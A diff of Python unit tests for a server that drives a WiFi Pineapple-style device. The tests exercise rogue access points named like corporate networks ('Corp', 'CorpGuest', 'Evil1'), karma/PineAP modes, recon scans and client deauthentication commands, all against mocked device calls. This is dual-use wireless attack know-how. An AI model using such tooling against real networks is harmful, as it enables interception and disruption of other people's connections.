self.assertEqual(server.channel_freq(server.BAND_5G, 165), 5825)
|
||||
self.assertEqual(server.channel_freq(server.BAND_6G, 1), 5955)
|
||||
self.assertEqual(server.channel_freq(server.BAND_6G, 233), 7115)
|
||||
|
||||
|
||||
class BandAuxTest(unittest.TestCase):
|
||||
def test_htmode(self):
|
||||
self.assertEqual(server.band_htmode(server.BAND_2G), 'HT20')
|
||||
self.assertEqual(server.band_htmode(server.BAND_5G), 'VHT80')
|
||||
self.assertEqual(server.band_htmode(server.BAND_6G), 'HE80')
|
||||
|
||||
def test_radio(self):
|
||||
self.assertEqual(server.band_radio(server.BAND_2G), 'radio0')
|
||||
self.assertEqual(server.band_radio(server.BAND_5G), 'radio1')
|
||||
self.assertEqual(server.band_radio(server.BAND_6G), 'radio1')
|
||||
|
||||
def test_dfs_marker(self):
|
||||
for ch in (52, 64, 100, 144):
|
||||
self.assertIn(ch, server.DFS_CHANNELS)
|
||||
for ch in (36, 48, 149):
|
||||
self.assertNotIn(ch, server.DFS_CHANNELS)
|
||||
self.assertEqual(set(server.DFS_CHANNELS),
|
||||
set(range(52, 65, 4)) | set(range(100, 145, 4)))
|
||||
|
||||
|
||||
def ctx(body=None):
|
||||
return type('C', (), {'body': body, 'args': (), 'query': {}})()
|
||||
|
||||
|
||||
class GetApRadio1Test(unittest.TestCase):
|
||||
def _uci(self, section):
|
||||
table = {
|
||||
'radio0': {'type': 'wifi-device', 'band': '2g', 'channel': '11',
|
||||
'htmode': 'HT20', 'country': 'US'},
|
||||
'radio1': {'type': 'wifi-device', 'band': '5g', 'channel': 'auto',
|
||||
'htmode': 'VHT80', 'country': 'US'},
|
||||
'wlan0open': {'device': 'radio0', 'mode': 'ap', 'ssid': 'pager-open',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'none',
|
||||
'channel': '11'},
|
||||
'wlan0wpa': {'device': 'radio0', 'mode': 'ap', 'ssid': 'Service',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'psk2',
|
||||
'channel': '1', 'key': 'testpass123'},
|
||||
'wlan1open': {'device': 'radio1', 'mode': 'ap', 'ssid': 'CorpGuest',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'none',
|
||||
'channel': '36'},
|
||||
'wlan1wpa': {'device': 'radio1', 'mode': 'ap', 'ssid': 'Corp',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'sae',
|
||||
'channel': '1', 'key': 'secret123'},
|
||||
}
|
||||
return dict(table.get(section, {}))
|
||||
|
||||
def setUp(self):
|
||||
server._uci_wifi_iface = lambda name: self._uci(name)
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
|
||||
404, {'error': 'not found'})
|
||||
|
||||
def test_open_reports_radio1_when_present(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['radio1_open']['ssid'], 'CorpGuest')
|
||||
self.assertEqual(payload['radio1_open']['channel'], 36)
|
||||
self.assertEqual(payload['radio1_open']['country'], 'US')
|
||||
# radio0 cards keep reporting radio0 truth
|
||||
self.assertEqual(payload['open']['ssid'], 'pager-open')
|
||||
|
||||
def test_wpa_reports_radio1_when_present(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['radio1_wpa']['ssid'], 'Corp')
|
||||
self.assertEqual(payload['radio1_wpa']['enctype'], 'sae')
|
||||
self.assertEqual(payload['radio1_wpa']['channel'], 1)
|
||||
self.assertEqual(payload['wpa']['ssid'], 'Service')
|
||||
|
||||
def test_radio1_info(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['radios']['radio1']['band'], server.BAND_5G)
|
||||
self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
|
||||
self.assertEqual(payload['radios']['radio0']['band'], server.BAND_2G)
|
||||
|
||||
|
||||
class GetApRadio1AbsentTest(unittest.TestCase):
|
||||
"""Regression: no radio1 AP sections -> today's 2.4GHz behavior."""
|
||||
|
||||
def _uci(self, section):
|
||||
table = {
|
||||
'radio0': {'type': 'wifi-device', 'band': '2g', 'channel': '11',
|
||||
'htmode': 'HT20', 'country': 'US'},
|
||||
'radio1': {'type': 'wifi-device', 'band': '5g', 'channel': 'auto',
|
||||
'htmode': 'VHT80', 'country': 'US'},
|
||||
'wlan0open': {'device': 'radio0', 'mode': 'ap', 'ssid': 'pager-open',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'none',
|
||||
'channel': '11'},
|
||||
'wlan0wpa': {'device': 'radio0', 'mode': 'ap', 'ssid': 'Service',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'psk2',
|
||||
'channel': '1', 'key': 'testpass123'},
|
||||
}
|
||||
return dict(table.get(section, {}))
|
||||
|
||||
def setUp(self):
|
||||
server._uci_wifi_iface = lambda name: self._uci(name)
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
|
||||
404, {'error': 'not found'})
|
||||
|
||||
def test_open_uses_wlan0open(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['open']['ssid'], 'pager-open')
|
||||
self.assertEqual(payload['open']['channel'], 11)
|
||||
|
||||
def test_wpa_uses_wlan0wpa(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['wpa']['ssid'], 'Service')
|
||||
self.assertEqual(payload['wpa']['channel'], 1)
|
||||
|
||||
|
||||
class SetApRadio1Test(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.uci = {}
|
||||
self.runs = []
|
||||
|
||||
def fake_uci_get(section):
|
||||
return self.uci.get(section)
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
self.runs.append((list(args), input_data))
|
||||
a = list(args)
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.uci[k] = v
|
||||
if a[:2] == ['uci', 'get']:
|
||||
return (0, self.uci.get(a[2], '') + '\n', '')
|
||||
return (0, '', '')
|
||||
|
||||
server._uci_wifi_iface = fake_uci_get
|
||||
server._uci_section = fake_uci_get
|
||||
server.device_run = fake_run
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
|
||||
200, {'success': True})
|
||||
|
||||
def test_5g_open_writes_radio1_sections(self):
|
||||
server.h_pineap_wifi_set_ap(ctx({'open': {
|
||||
'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
|
||||
'channel': 36, 'country': 'US'}}))
|
||||
self.assertEqual(self.uci['wireless.radio1.band'], '5g')
|
||||
self.assertEqual(self.uci['wireless.radio1.channel'], '36')
|
||||
self.assertEqual(self.uci['wireless.radio1.htmode'], 'VHT80')
|
||||
self.assertEqual(self.uci['wireless.wlan1open'], 'wifi-iface')
|
||||
self.assertEqual(self.uci['wireless.wlan1open.device'], 'radio1')
|
||||
self.assertEqual(self.uci['wireless.wlan1open.disabled'], '0')
|
||||
self.assertEqual(self.uci['wireless.wlan1open.ssid'], 'CorpGuest')
|
||||
self.assertEqual(self.uci['wireless.wlan1open.encryption'], 'none')
|
||||
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '0')
|
||||
self.assertIn(['wifi', 'reload'], [r[0] for r in self.runs])
|
||||
self.assertIn(['/etc/init.d/pineapd', 'reload'], [r[0] for r in self.runs])
|
||||
|
||||
def test_6g_wpa_sae(self):
|
||||
server.h_pineap_wifi_set_ap(ctx({'wpa': {
|
||||
'ssid': 'Corp', 'passphrase': 'secret123', 'enctype': 'sae',
|
||||
'hidden': False, 'enabled': True, 'channel': 181}}))
|
||||
self.assertEqual(self.uci['wireless.radio1.band'], '6g')
|
||||
self.assertEqual(self.uci['wireless.radio1.htmode'], 'HE80')
|
||||
self.assertEqual(self.uci['wireless.wlan1wpa.encryption'], 'sae')
|
||||
|
||||
def test_6g_rejects_psk2(self):
|
||||
status, payload = server.h_pineap_wifi_set_ap(ctx({'wpa': {
|
||||
'ssid': 'Corp', 'passphrase': 'secret123', 'enctype': 'psk2',
|
||||
'hidden': False, 'enabled': True, 'channel': 181}}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def test_6g_open_rejected(self):
|
||||
status, payload = server.h_pineap_wifi_set_ap(ctx({'open': {
|
||||
'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
|
||||
'channel': 181, 'country': 'US'}}))
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('6GHz', payload['error'])
|
||||
|
||||
def test_6g_disable_removes_radio1(self):
|
||||
self.uci['pineapd.wlan1mon.hop'] = '0'
|
||||
self.uci['wlan1wpa'] = {'device': 'radio1'}
|
||||
status, payload = server.h_pineap_wifi_set_ap(ctx({'wpa': {
|
||||
'ssid': 'Corp', 'passphrase': 'secret123', 'enctype': 'sae',
|
||||
'hidden': False, 'enabled': False, 'channel': 181}}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(self.uci['wireless.radio1.channel'], 'auto')
|
||||
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '1')
|
||||
|
||||
def test_5g_open_rejects_bad_bssid(self):
|
||||
status, payload = server.h_pineap_wifi_set_ap(ctx({'open': {
|
||||
'ssid': 'CorpGuest', 'bssid': 'not-a-mac', 'hidden': False,
|
||||
'enabled': True, 'channel': 36, 'country': 'US'}}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def test_hop_read_failure_still_pauses(self):
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
self.runs.append((list(args), input_data))
|
||||
a = list(args)
|
||||
if a[:2] == ['uci', 'get']:
|
||||
return (1, '', '')
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.uci[k] = v
|
||||
return (0, '', '')
|
||||
|
||||
server.device_run = fake_run
|
||||
server.h_pineap_wifi_set_ap(ctx({'open': {
|
||||
'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
|
||||
'channel': 36, 'country': 'US'}}))
|
||||
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '0')
|
||||
|
||||
def test_2g_still_uses_daemon_path(self):
|
||||
calls = []
|
||||
|
||||
def fake_sock(method, path, body=None, timeout=10):
|
||||
if method == 'GET':
|
||||
return 200, {'loghandshake': True}
|
||||
calls.append((method, path, body))
|
||||
return 200, {'success': True}
|
||||
|
||||
server.daemon_sock_call = fake_sock
|
||||
server.h_pineap_wifi_set_ap(ctx({'open': {
|
||||
'ssid': 'pager-open', 'hidden': False, 'enabled': True,
|
||||
'channel': 11, 'country': 'US'}}))
|
||||
put = [c for c in calls if c[0] == 'PUT']
|
||||
self.assertEqual(len(put), 1)
|
||||
self.assertEqual(put[0][1], '/api/settings/wifi/set_ap')
|
||||
self.assertEqual(put[0][2]['configs'][0]['interface'], 'wlan0open')
|
||||
|
||||
def test_2g_removes_existing_radio1(self):
|
||||
self.uci['pineapd.wlan1mon.hop'] = '0'
|
||||
self.uci['wlan1open'] = {'device': 'radio1'}
|
||||
server.h_pineap_wifi_set_ap(ctx({'open': {
|
||||
'ssid': 'pager-open', 'hidden': False, 'enabled': True,
|
||||
'channel': 11, 'country': 'US'}}))
|
||||
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '1')
|
||||
self.assertEqual(self.uci.get('wireless.radio1.channel'), 'auto')
|
||||
|
||||
def test_mixed_24g_and_radio1_rejected(self):
|
||||
status, payload = server.h_pineap_wifi_set_ap(ctx({
|
||||
'open': {'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
|
||||
'channel': 36, 'country': 'US'},
|
||||
'wpa': {'ssid': 'Office', 'passphrase': 'secret123', 'enctype': 'psk2',
|
||||
'hidden': False, 'enabled': True, 'channel': 6}}))
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('2.4GHz', payload['error'])
|
||||
|
||||
|
||||
class GetApRadioChannelFallbackTest(unittest.TestCase):
|
||||
"""Regression: iface without a channel option inherits the radio channel."""
|
||||
|
||||
def _uci(self, section):
|
||||
table = {
|
||||
'radio0': {'type': 'wifi-device', 'band': '2g', 'channel': '11',
|
||||
'htmode': 'HT20', 'country': 'US'},
|
||||
'radio1': {'type': 'wifi-device', 'band': '5g', 'channel': 'auto',
|
||||
'htmode': 'VHT80', 'country': 'US'},
|
||||
'wlan0open': {'device': 'radio0', 'mode': 'ap', 'ssid': 'pager-open',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'none'},
|
||||
'wlan0wpa': {'device': 'radio0', 'mode': 'ap', 'ssid': 'Service',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'psk2',
|
||||
'key': 'testpass123'},
|
||||
}
|
||||
return dict(table.get(section, {}))
|
||||
|
||||
def setUp(self):
|
||||
server._uci_wifi_iface = lambda name: self._uci(name)
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
|
||||
404, {'error': 'not found'})
|
||||
|
||||
def test_open_falls_back_to_radio_channel(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['open']['channel'], 11)
|
||||
|
||||
def test_wpa_falls_back_to_radio_channel(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['wpa']['channel'], 11)
|
||||
|
||||
|
||||
class GetApReconcileTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
server._last_reconcile = 0.0
|
||||
self.uci = {'wlan1wpa': {'device': 'radio1', 'mode': 'ap', 'ssid': 'Corp',
|
||||
'disabled': '0', 'encryption': 'sae', 'channel': '36'}}
|
||||
self.runs = []
|
||||
server._uci_wifi_iface = lambda name: dict(self.uci.get(name, {}))
|
||||
server._uci_section = lambda name: {}
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
|
||||
404, {'error': 'not found'})
|
||||
server.device_run = lambda args, timeout=20, input_data=None: (
|
||||
self.runs.append(list(args)) or (0, '', ''))
|
||||
|
||||
def test_missing_netdev_triggers_wifi_reload(self):
|
||||
server.os.path.exists = lambda p: False
|
||||
server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertIn(['wifi', 'reload'], self.runs)
|
||||
|
||||
def test_present_netdev_skips_reload(self):
|
||||
server.os.path.exists = lambda p: True
|
||||
server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertNotIn(['wifi', 'reload'], self.runs)
|
||||
|
||||
def test_disabled_section_skips_reload(self):
|
||||
self.uci['wlan1wpa']['disabled'] = '1'
|
||||
server.os.path.exists = lambda p: False
|
||||
server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertNotIn(['wifi', 'reload'], self.runs)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -9,8 +9,10 @@ import server
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
_orig_hak5 = server.hak5
|
||||
_orig_device_run = server.device_run
|
||||
_orig_assoc_clients = server.assoc_clients
|
||||
_orig_iface_ap_info = server._iface_ap_info
|
||||
_orig_pineap = server._pineap
|
||||
|
||||
|
||||
class NormalizeTest(unittest.TestCase):
|
||||
@@ -24,8 +26,10 @@ class NormalizeTest(unittest.TestCase):
|
||||
|
||||
class ClientsTest(unittest.TestCase):
|
||||
def tearDown(self):
|
||||
server.hak5 = _orig_hak5
|
||||
server.device_run = _orig_device_run
|
||||
server.assoc_clients = _orig_assoc_clients
|
||||
server._iface_ap_info = _orig_iface_ap_info
|
||||
server._pineap = _orig_pineap
|
||||
|
||||
def test_clients_handler(self):
|
||||
server.assoc_clients = lambda: [{'mac': 'AA:BB:CC:DD:EE:FF', 'iface': 'wlan0open', 'rssi': -55}]
|
||||
@@ -35,15 +39,37 @@ class ClientsTest(unittest.TestCase):
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['count'], 1)
|
||||
|
||||
def test_kick_validates_and_deny_adds(self):
|
||||
def _kick_env(self):
|
||||
calls = []
|
||||
def fake(*args):
|
||||
calls.append(args)
|
||||
return 'ok'
|
||||
server.hak5 = fake
|
||||
def fake_run(argv, timeout=30):
|
||||
calls.append(argv)
|
||||
return 0, '', ''
|
||||
server.device_run = fake_run
|
||||
server.assoc_clients = lambda: [{'mac': '00:11:22:33:44:55', 'iface': 'wlan0open', 'rssi': -55}]
|
||||
server._iface_ap_info = lambda iface: ('AA:BB:CC:DD:EE:FF', 6)
|
||||
server._pineap = lambda *a, **k: (0, '', '')
|
||||
return calls
|
||||
|
||||
def test_kick_validates_and_deny_adds(self):
|
||||
calls = self._kick_env()
|
||||
server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertIn(('PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'), calls)
|
||||
self.assertTrue(any(c[0] == 'PINEAPPLE_DEAUTH_CLIENT' for c in calls))
|
||||
self.assertIn([server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'], calls)
|
||||
# The immediate deauth must use the full bssid/target/channel form.
|
||||
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
||||
'00:11:22:33:44:55'] and c[4] == '6' for c in calls))
|
||||
|
||||
def test_kick_not_associated_still_filters(self):
|
||||
calls = []
|
||||
def fake_run(argv, timeout=30):
|
||||
calls.append(argv)
|
||||
return 0, '', ''
|
||||
server.device_run = fake_run
|
||||
server.assoc_clients = lambda: []
|
||||
status, payload = server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIs(payload['deauth'], False)
|
||||
self.assertTrue(any(c == [server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny',
|
||||
'00:11:22:33:44:55'] for c in calls))
|
||||
|
||||
def test_kick_bad_mac_400(self):
|
||||
status, payload = server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': 'x'}})())
|
||||
@@ -51,12 +77,22 @@ class ClientsTest(unittest.TestCase):
|
||||
|
||||
def test_deauth_client(self):
|
||||
calls = []
|
||||
def fake(*args):
|
||||
calls.append(args)
|
||||
return 'ok'
|
||||
server.hak5 = fake
|
||||
server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertEqual(calls[0][0], 'PINEAPPLE_DEAUTH_CLIENT')
|
||||
def fake_run(argv, timeout=30):
|
||||
calls.append(argv)
|
||||
return 0, '', ''
|
||||
server.device_run = fake_run
|
||||
server.assoc_clients = lambda: [{'mac': '00:11:22:33:44:55', 'iface': 'wlan1wpa', 'rssi': -60}]
|
||||
server._iface_ap_info = lambda iface: ('AA:BB:CC:DD:EE:FF', 149)
|
||||
status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertEqual(status, 200)
|
||||
# 5 GHz client -> wlan1mon inject, no _pineap pin needed.
|
||||
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
||||
'00:11:22:33:44:55'] and c[4] == '149' for c in calls))
|
||||
|
||||
def test_deauth_client_not_associated_502(self):
|
||||
server.assoc_clients = lambda: []
|
||||
status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertEqual(status, 502)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
@@ -37,8 +37,7 @@ class PineapModeTest(unittest.TestCase):
|
||||
status, payload = server.h_pineap_mode_post(ctx({'mode': 'passive'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual([c[1] for c in calls], [
|
||||
'hostapd/enable_pineap', 'ssidpool/enable_collect',
|
||||
'ssidpool/disable'])
|
||||
'hostapd/enable_pineap', 'ssidpool/enable_collect'])
|
||||
self.assertEqual(calls[0][2], {'enable': False})
|
||||
self.assertEqual(payload['mode'], 'passive')
|
||||
self.assertTrue(payload['collect'])
|
||||
@@ -46,7 +45,7 @@ class PineapModeTest(unittest.TestCase):
|
||||
self.assertFalse(payload['karma'])
|
||||
self.assertFalse(payload['enabled'])
|
||||
|
||||
def test_active_enables_response_engine_and_pool_broadcasting(self):
|
||||
def test_active_enables_response_engine_but_never_pool_broadcast(self):
|
||||
calls = []
|
||||
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
|
||||
calls.append((method, path, body)) or (200, {'success': True}))
|
||||
@@ -54,12 +53,24 @@ class PineapModeTest(unittest.TestCase):
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(calls[0], ('PUT', 'hostapd/enable_pineap', {'enable': True}))
|
||||
self.assertNotIn('mimic/disable', [c[1] for c in calls])
|
||||
self.assertEqual(calls[-1], ('POST', 'ssidpool/enable', {'enable': True}))
|
||||
# The SSID-pool broadcast segfaults pineapd on this firmware: the
|
||||
# active preset must never call ssidpool/enable.
|
||||
self.assertNotIn('ssidpool/enable', [c[1] for c in calls])
|
||||
self.assertEqual(payload['mode'], 'active')
|
||||
self.assertTrue(payload['advertise'])
|
||||
self.assertFalse(payload['advertise'])
|
||||
self.assertTrue(payload['karma'])
|
||||
self.assertTrue(payload['enabled'])
|
||||
|
||||
def test_advertise_refuses_when_pool_disabled(self):
|
||||
server._uci_section = lambda name: {'disable': '1'}
|
||||
calls = []
|
||||
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
|
||||
calls.append((method, path, body)) or (200, {'success': True}))
|
||||
status, payload = server.h_pineap_advertise(ctx({'enable': True}))
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('cannot be re-enabled', payload['error'])
|
||||
self.assertEqual(calls, [])
|
||||
|
||||
def test_advanced_preserves_device_settings(self):
|
||||
calls = []
|
||||
server._daemon_proxy = lambda *args, **kwargs: (calls.append(args) or (200, {}))
|
||||
@@ -109,7 +120,8 @@ class PineapModeTest(unittest.TestCase):
|
||||
server.daemon_sock_call = fake
|
||||
status, payload = server.h_pineap_mode_get(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['mode'], 'advanced')
|
||||
# Device truth wins: engine off means the device IS passive now.
|
||||
self.assertEqual(payload['mode'], 'passive')
|
||||
self.assertFalse(payload['enabled'])
|
||||
|
||||
def test_manual_mimic_change_marks_advanced(self):
|
||||
|
||||
@@ -112,7 +112,7 @@ class PineapProxyTest(unittest.TestCase):
|
||||
if sec == 'wireless.wlan0open':
|
||||
return 0, "wireless.wlan0open.disabled='1'\nwireless.wlan0open.ssid='pager-open'\nwireless.wlan0open.macaddr='DE:AD:BE:EF:00:01'\nwireless.wlan0open.hidden='1'\n", ''
|
||||
if sec == 'wireless.radio0':
|
||||
return 0, "wireless.radio0.channel='6'\nwireless.radio0.country='US'\n", ''
|
||||
return 0, "wireless.radio0.band='2g'\nwireless.radio0.channel='6'\nwireless.radio0.country='US'\n", ''
|
||||
if sec.startswith('pineapd.@ssidpool'):
|
||||
return 0, "pineapd.@ssidpool[0].bssid='auto'\npineapd.@ssidpool[0].target='broadcast'\n", ''
|
||||
return 0, '', ''
|
||||
@@ -128,8 +128,12 @@ class PineapProxyTest(unittest.TestCase):
|
||||
server.daemon_sock_call = fake_sock
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['wpa'], {'ssid': 'Evil1', 'passphrase': 'sekret', 'enctype': 'psk2',
|
||||
'hidden': False, 'enabled': True})
|
||||
self.assertEqual(payload['wpa']['ssid'], 'Evil1')
|
||||
self.assertEqual(payload['wpa']['passphrase'], 'sekret')
|
||||
self.assertEqual(payload['wpa']['enctype'], 'psk2')
|
||||
self.assertEqual(payload['wpa']['hidden'], False)
|
||||
self.assertEqual(payload['wpa']['enabled'], True)
|
||||
self.assertEqual(payload['wpa']['channel'], 6)
|
||||
self.assertEqual(payload['open']['enabled'], False)
|
||||
self.assertEqual(payload['open']['ssid'], 'pager-open')
|
||||
self.assertEqual(payload['open']['bssid'], 'DE:AD:BE:EF:00:01')
|
||||
@@ -137,8 +141,12 @@ class PineapProxyTest(unittest.TestCase):
|
||||
self.assertEqual(payload['open']['channel'], 6)
|
||||
self.assertEqual(payload['open']['country'], 'US')
|
||||
self.assertEqual(payload['open']['target'], 'broadcast')
|
||||
self.assertEqual(payload['enterprise']['enabled'], True)
|
||||
self.assertEqual(payload['enterprise']['enabled'], False)
|
||||
self.assertEqual(payload['enterprise']['ssid'], '')
|
||||
self.assertEqual(payload['pool']['collecting'], True)
|
||||
self.assertEqual(payload['radios']['radio0']['band'], '2.4')
|
||||
self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
|
||||
self.assertEqual(payload['pineape']['enabled'], True)
|
||||
|
||||
def test_wifi_set_ap_open_bssid_channel_and_country(self):
|
||||
sock_calls = []
|
||||
@@ -150,7 +158,7 @@ class PineapProxyTest(unittest.TestCase):
|
||||
|
||||
def fake_run(args):
|
||||
run_calls.append(args)
|
||||
if args[0] == 'uci' and args[1] == 'show':
|
||||
if args[0] == 'uci' and args[1] == 'show' and args[2] == 'wireless.radio0':
|
||||
return 0, "wireless.radio0.channel='1'\n", ''
|
||||
return 0, '', ''
|
||||
|
||||
|
||||
+633
-23
@@ -76,8 +76,13 @@ class DecodersTest(unittest.TestCase):
|
||||
self.assertEqual(server.decode_encryption(0x04), 'WPA')
|
||||
self.assertEqual(server.decode_encryption(0x08), 'WPA2')
|
||||
self.assertEqual(server.decode_encryption(0x04 | 0x08), 'WPA2 WPA')
|
||||
self.assertEqual(server.decode_encryption(0x400400108), 'WPA3 WPA2')
|
||||
self.assertEqual(server.decode_encryption(0x20050004C), 'WPA2 WPA')
|
||||
self.assertEqual(server.decode_encryption(0x400400108), 'WPA3 WPA2 PSK')
|
||||
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 33)), 'WPA3 WPA2 Enterprise')
|
||||
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 40)), 'WPA3 WPA2 SAE')
|
||||
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 33) | (1 << 40)), 'WPA3 WPA2 Enterprise')
|
||||
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 45)), 'WPA3 WPA2 OWE')
|
||||
self.assertEqual(server.decode_encryption(0x400400110), 'WPA3 PSK')
|
||||
self.assertEqual(server.decode_encryption(0x20050004C), 'WPA2 WPA Enterprise')
|
||||
|
||||
|
||||
class ReconDataTest(unittest.TestCase):
|
||||
@@ -111,7 +116,7 @@ class ReconDataTest(unittest.TestCase):
|
||||
self.assertEqual(a['ssid'], 'Anderson-5')
|
||||
self.assertEqual(a['channel'], 149)
|
||||
self.assertEqual(a['signal'], -76)
|
||||
self.assertEqual(a['encryption'], 'WPA3 WPA2')
|
||||
self.assertEqual(a['encryption'], 'WPA3 WPA2 PSK')
|
||||
self.assertFalse(a['hidden'])
|
||||
hidden = aps['50:6F:9A:01:00:00']
|
||||
self.assertTrue(hidden['hidden'])
|
||||
@@ -158,6 +163,10 @@ class FakeSock:
|
||||
|
||||
|
||||
class DaemonSockTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
# h_recon_start now reads shared scan state; keep these isolated.
|
||||
server._recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
|
||||
|
||||
def test_socket_call_posts_json_to_sock(self):
|
||||
server.DAEMON_SOCK = '/tmp/api.sock'
|
||||
fake = FakeSock(b'HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\n{"success":true}')
|
||||
@@ -182,9 +191,8 @@ class DaemonSockTest(unittest.TestCase):
|
||||
calls = []
|
||||
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p, body)) or (200, {'success': True})
|
||||
server.h_recon_start(type('C', (), {'args': ()})())
|
||||
server.h_recon_stop(type('C', (), {'args': ()})())
|
||||
self.assertEqual(calls[0], ('POST', '/api/pineap/log/recon/start', {}))
|
||||
self.assertEqual(calls[1], ('POST', '/api/pineap/log/recon/stop', {}))
|
||||
self.assertEqual(calls, [
|
||||
('POST', '/api/pineap/recon/new', {'scan_time': 30})])
|
||||
|
||||
def test_start_forwards_scan_time(self):
|
||||
calls = []
|
||||
@@ -192,19 +200,36 @@ class DaemonSockTest(unittest.TestCase):
|
||||
ctx = type('C', (), {'args': (), 'body': {'scan_time': 60}})()
|
||||
status, data = server.h_recon_start(ctx)
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(calls[0], ('POST', '/api/pineap/log/recon/start', {'scan_time': 60}))
|
||||
self.assertEqual(calls[0], ('POST', '/api/pineap/recon/new', {'scan_time': 60}))
|
||||
|
||||
def test_start_defaults_empty_body(self):
|
||||
calls = []
|
||||
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p, body)) or (200, {'success': True})
|
||||
server.h_recon_start(type('C', (), {'args': ()})())
|
||||
self.assertEqual(calls[0], ('POST', '/api/pineap/log/recon/start', {}))
|
||||
self.assertEqual(calls[0], ('POST', '/api/pineap/recon/new', {'scan_time': 30}))
|
||||
|
||||
def test_start_rejects_invalid_scan_time(self):
|
||||
calls = []
|
||||
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p, body))
|
||||
ctx = type('C', (), {'args': (), 'body': {'scan_time': 'forever'}})()
|
||||
status, data = server.h_recon_start(ctx)
|
||||
self.assertEqual(status, 400)
|
||||
